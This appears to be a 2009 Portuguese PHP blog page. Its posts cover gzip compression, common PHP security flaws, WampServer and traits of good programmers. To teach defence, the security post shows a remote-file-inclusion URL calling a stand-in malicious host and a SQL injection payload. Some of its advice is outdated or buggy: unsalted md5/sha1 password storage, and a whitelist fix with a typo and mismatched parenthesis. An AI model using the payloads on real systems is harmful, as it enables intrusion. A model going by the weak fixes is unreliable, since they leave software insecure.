O desabafo de um Web Designer

02/10/2009

Esta aí mais um viral muito bem bolado, feito para um curso de PHP

“… não entendo nada do que a quele povo fala.
Tal de array, mysql,, não sei o que orientado a objeto…”

Chupinhei do blog A Internet

Compactar arquivos com PHP

15/09/2009
Ao terminar a leitura desse artigo você será capaz de gerar arquivos comprimidos do tipo gzip (.gz), através da função

Lembrando que para criar e alterar o arquivo compactado, o diretório deverá ter os direitos de leitura e gravação do arquivos. Para ter um pouco mais de segurança, de o direito no arquivo e não no diretório.

<?
// cria a função para compactar o arquivo
function gzcompressfile($source,$level=false){
// da o nome ao arquivo a ser compactado
$dest=$source.’.gz’;
// o modelo de abertura do arquivo pode ser rb ou wb somente leitura ou escrita
// também pode conter um nível de compressão, (”wb9″) ou uma estratégia(”f” para dados filtrados e “h” para compressão Huffman)
$mode=’wb’.$level;
$error=false;
// abre o arquivo compactado
if($fp_out=gzopen($dest,$mode)){
// carrega o arquivo compactado
if($fp_in=fopen($source,’rb’)){
while(!feof($fp_in))
// adiciona o arquivo.csv dentro do arquivo compactado
gzwrite($fp_out,fread($fp_in,1024*512));
// fecha o arquivo
fclose($fp_in);
} else
$error=true;
// fecha o arquivo compactado
gzclose($fp_out);
}else
$error=true;
if($error)
return false;
else
return $dest;
}
gzcompressfile(’arquivo.csv’) ;
?>

Forte abraço!

Vi no blog do Eric


Principais falhas de segurança no PHP

27/08/2009
Artigo publicado no site Imasters por Thiago Dutra da Fonseca Belem -  Terça-feira, 07 de abril de 2009.

PHP

Vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse artigo pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança… Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.

Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem!

Cuidados com a URL – Parte I

Uma falha muito comum são aqueles sites que, tentando usar um sistema “legal”, acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:

<?php
// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
    $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
    $arquivo = 'home.php'; // Se não existir variável, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>

E na URL do site ficaria:

http://www.meusite.com.br/?pagina=contato.php

Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:

http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php

O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.

Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:

<?php
// Define uma lista com os arquivos que poderão ser chamados na URL
$perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');

// Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos
if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false) {
    $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
    $arquivo = 'home.php'; // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>

Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site, o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.

Cuidados com a URL – Parte II

Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.

Geralmente o formato é o seguinte:

http://www.meusite.com.br/produtos.php?id=12
ou
http://www.meusite.com.br/?pagina=produtos.php&id=12

Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:

<?php
// Formato da URL:
//  http://www.meusite.com.br/produtos.php?id=12

// Salva o parâmetro da URL numa variável
$produto = $_GET['id'];

// Monta a consulta MySQL
$sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";

// Executa a query
$query = mysql_query($sql);

// Salva o resultado (em formato de array) em uma variável
$resultado = mysql_fetch_assoc($query);

?>

A sua consulta ao MySQL ficaria da seguinte forma:

SELECT * FROM `produtos` WHERE `id` = '12' LIMIT 1

Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia. Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:

http://www.meusite.com.br/produtos.php?id=’ OR 1=1 OR “=’

Agora a sua query MySQL fica assim:

SELECT * FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1

Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo.

Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:

// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro
$produto = (int)$_GET['id'];

Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $_GET['id']. Problema resolvido, meus caros!  Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro. E o valor inteiro de uma string é igual a zero.

Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.

Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql_real_escape_string() da seguinte forma:

$parametro = mysql_real_escape_string($_GET['nome']);

Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).

Sobre Usuários e Senhas

Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.

Vale lembrar, também, que você não precisa deixar a senha do usuário na forma real quando salvá-la no banco. É muito mais seguro salvar um md5() ou sha1() da senha no banco e quando for necessário fazer a validação do usuário você também gera o md5() ou sha1() da senha que ele digitou e compara com o que há no banco. Assim, se por ventura alguém conseguir invadir e pegar todos os registros do banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail e uma senha criptografada.

Se quiser saber como funciona criptografica no PHP, aguarde os próximos posts

Espero que tenham gostado! Até a próxima!

Leia mais em Web PHP Brasil


WampServer 2 – Seu servidor web em produção!

06/08/2009

Este é um dos servidores de ambiente web mais legal que ja trabalhei. Extremamente simples, prátco, completo e funcional. Caros irmãos, vos apresento WampServer 2!

O pacote WampServer lhe  permitirá reproduzir o seu servidor web em produção, com todos os recursos necessários para seu gerenciamento.

O pacote do servidor contém:

  1. Apache 2.2.11
  2. PHP 5.3.0
  3. MySQL 5.1.36
  4. PhpMyAdmin
  5. Phpmyadmin

 

 

Cada um dos itens acima pode ser atualizado individualmente e você pode escolher com qual das versões instaladas deseja trabalhar.

 


Iniciando…

Quando você instalar o WampServer, um diretório “www”  é criado (geralmente c:\wamp\www). Crie os diretórios dos seus projetos dentro desta pasta.
Clique na opção “Localhost” na WampServer menu ou abra o navegador e digite o endereço http://localhost. Aqui você poderá visualizar todos os seus projetos:

Gostou?? Então experimente…

Download


ATENÇÃO: não tente instalar WampServer 2 sobre WAMP5 (PAU FEDERAL!!!). Se estiver instalado no seu computador, guarde os seus dados, desinstale e apagar o WAMP5 antes de instalar WampServer 2.

Quem dera eu tivesse lido isso antes…

Para mais informações acesse o site oficial WampServer.  

 


O que faz um bom programador?

28/07/2009

Nós programadores, às vezes, estamos muito mais preocupados com a quantidade de linguagens que conhecemos, ou cursos a serem feitos e nos empanturramos de conhecimentos técnicos. Mas acabamos por esquecer algumas qualidades fundamentais de um bom garoto de programa {Rááá!!}.

Este artigo foi publicado no Techfounder e traduzido por Fabio Akita

Um pensador analítico

Programadores precisam ser solucionadores de problemas. O processo de programação requer que nós sistematicamente quebremos problemas complicados, planejemos e implementemos solução e encontremos/eliminemos pequenas inconsistências no código (bugs).

Pensamento analítico também se manifesta na habilidade de seguir e entender lógicas complicadas através de segmentos disparates de código. Isso nos permite alcançar conceitos abstratos como metodologias de Orientação a Objetos e design patterns e implementemos na prática.

Tem suas prioridades claras

Se eu lhe pedisse para ordenar os ítens seguintes por prioridade, como você os ordenaria?

  • Segurança
  • Mantenabilidade
  • Usabilidade
  • Performance
  • Quantidade de LOC (lines of code – linhas de código)

Pare um momento para pensar a respeito, e então considere:

  1. Se você pegou quantidade de LOC primeiro, você falhou completamente pelos meus critérios. De fato, otimização de LOC pode normalmente ir diretamente contra as outras métricas (como mantenabilidade). Uma contagem baixa de LOC nunca deve ser o objetivo, somente o resultado da aplicação cuidadosa de uma boa arquitetura.
  2. Se você pegou performance primeiro, você provavelmente é o cara que fica escrevendo artigos sobre porque se deveria usar loop while em vez de for já que ele foi alguns milissegundos mais rápido em seus benchmarks. Você pode sofrer com casos de otimização prematura.

    Nós devemos esquecer sobre pequenas ineficiências, digamos, cerca de 97% do tempo: otimização prematura é a raíz de todo mal. – Donald Knuth

    Performance deve ser bom o suficiente para satisfazer os requerimentos da aplicação. Fora casos de armadilha bem conhecidos (como executar queries em cada interação de um loop longo), otimizações de performance devem ser deixados para o fim e mesmo assim devem ser feitas quando apropriado (medir … medir … medir … otimizar).

    A única exceção a isso é se você está primariamente desenvolvendo aplicações dependentes de performance (como drivers de baixo nível de sistema).

  3. Segurança está mais ou menos no meio. Dependendo da aplicação e modelo distribuído isso pode ser completamente inútil ou de missão crítica. Está na maior parte no meio, e portanto não pode ser o número 1.
  4. Mantenabilidade é definitivamente um dos mais importantes atributos de uma aplicação de software. Alta mantenabilidade permite que você melhore outros atributos (como performance), quando for necessário.Mantenabilidade é o fator mais importante para manter a produtividade em alta e os custos em baixa. Por um longo tempo eu acreditei fortemente que isso era o atributo mais importante de design de software. Entretanto …
  5. O atributo mais importante é usabilidade. No final, o valor de sua aplicação é o que se entrega ao usuário final.Devemos sempre lembrar – software não é escrito para servir seus desenvolvedores ou os sistemas em que roda. Eles são escritos para resolver problemas. Se esses problemas não são resolvidos, então o projeto é um fracasso.Eu escrevi usabilidade aqui como um termo mais geral do que somente efetividade de Interface de Usuário/UX. Mesmo uma aplicação de linha de comando ou um serviço que roda em background tem seus fatores de usabilidade no sentido de quão bem ele responde a uma necessidade específica.

Terminar as coisas

Em princípio, você está procurando por pessoas que:

  • são espertas e,
  • que terminam as coisas.

Joel Spolsky

Talvez a coisa mais importante em um desenvolvedor. Você pode ser perfeito em todos os atributos anteriores e ainda ser um programador medíocre se você não consegue terminar as coisas. Um desenvolvedor mediano mas produtivo poderia facilmente substituir vários desenvolvedores altamente talentosos mas que se movem devagar, dependendo de suas responsabilidades.

No fim do dia você definitivamente quer desenvolvedores altamente produtivos mais do que aqueles que são grandes em teoria mas não na prática.

Faz mais do que “apenas suficiente”

Terminar as coisas é importante. Terminar as coisas “do jeito certo” é ainda mais importante.

Pagar constante seu débito técnico é crucial – se você continuar acumulando débito fazendo “gambiarras” de correções rápidas que funcionam mas não são bons de mantenabilidade, você apenas está criando a aparência de progresso. Na realidade, o custo de se livrar do grande débito técnico poderia se tornar proibitivo antes de você perceber.

Gastar um tempo para constantemente refatorar código para uma forma com mais mantenabilidade é a melhor forma de prevenir a espiral que leva um projeto a desaparecer.

Responsável

Uma pessoa poderia ser um programador capaz apenas em habilidades técnicas, entretanto se ele não assume seus próprios erros e não respeita prazos ele poderia se tornar um risco muito rapidamente.

Responsabilidade significa saber onde deixar seu ego para trás para o bem do projeto. Nós normalmente desenvolvemos grandes egos à medida que nos consideramos experts em muitas coisas. Colocar o projeto primeiro é um sinal de um bom desenvolvedor.

Boas relações humanas

Outra coisa importante, essa também se aplica a programadores. Existe um estereótipo que programadores são criaturas reclusas, anti-sociais – programadores ainda são pessoas ;-)

Para ser parte de uma equipe ou lidar com clientes, um programador precisa ter habilidades sociais básicas. Rudez, arrogância, paciência curta – não tem espaço em um ambiente de trabalho profissional. Tudo que se precisa é uma maçã podre para arruinar o humor de todos.

É isso

Se você respondeu positivamente a tudo acima, você provavelmente é um bom programador.

Você deve notar que não mencionei paixão ou diversidade tecnológica como atributos qualificatórios. Resumindo, eu não acho que sejam muito relevantes para a qualidade de um programador.

Paixão é bom de se ter, entretanto já conheci muitos profissionais e desenvolvedores de alta qualidade que estavam satisfeitos de apenas ir ao trabalho profissionalmente, das 9 às 17 e então ir para casa e ter vidas significativas e completas com a família. Um programador pode ser definitivamente completamente profissional sem ser apaixonado sobre programação.

Diversidade tecnológica é outra coisa boa de se ter mas não é um pré-requisito – enquanto se estiver no controle das tecnologias com que trabalha, uma falta de diversidade não deveria afetá-lo tanto. Tomadores de decisão precisam estar bem atentos para todas as opções antes de começar um projeto, entretanto hoje em dia a escolha de tecnologias simplesmente não é tão importante.

Você pode conseguir bons resultados independente da linguagem de programação e banco de dados entre outras considerações. A maior consideração deve ser o tipo de habilidades disponíveis no seu pessoal.


Seguir

Obtenha todo post novo entregue na sua caixa de entrada.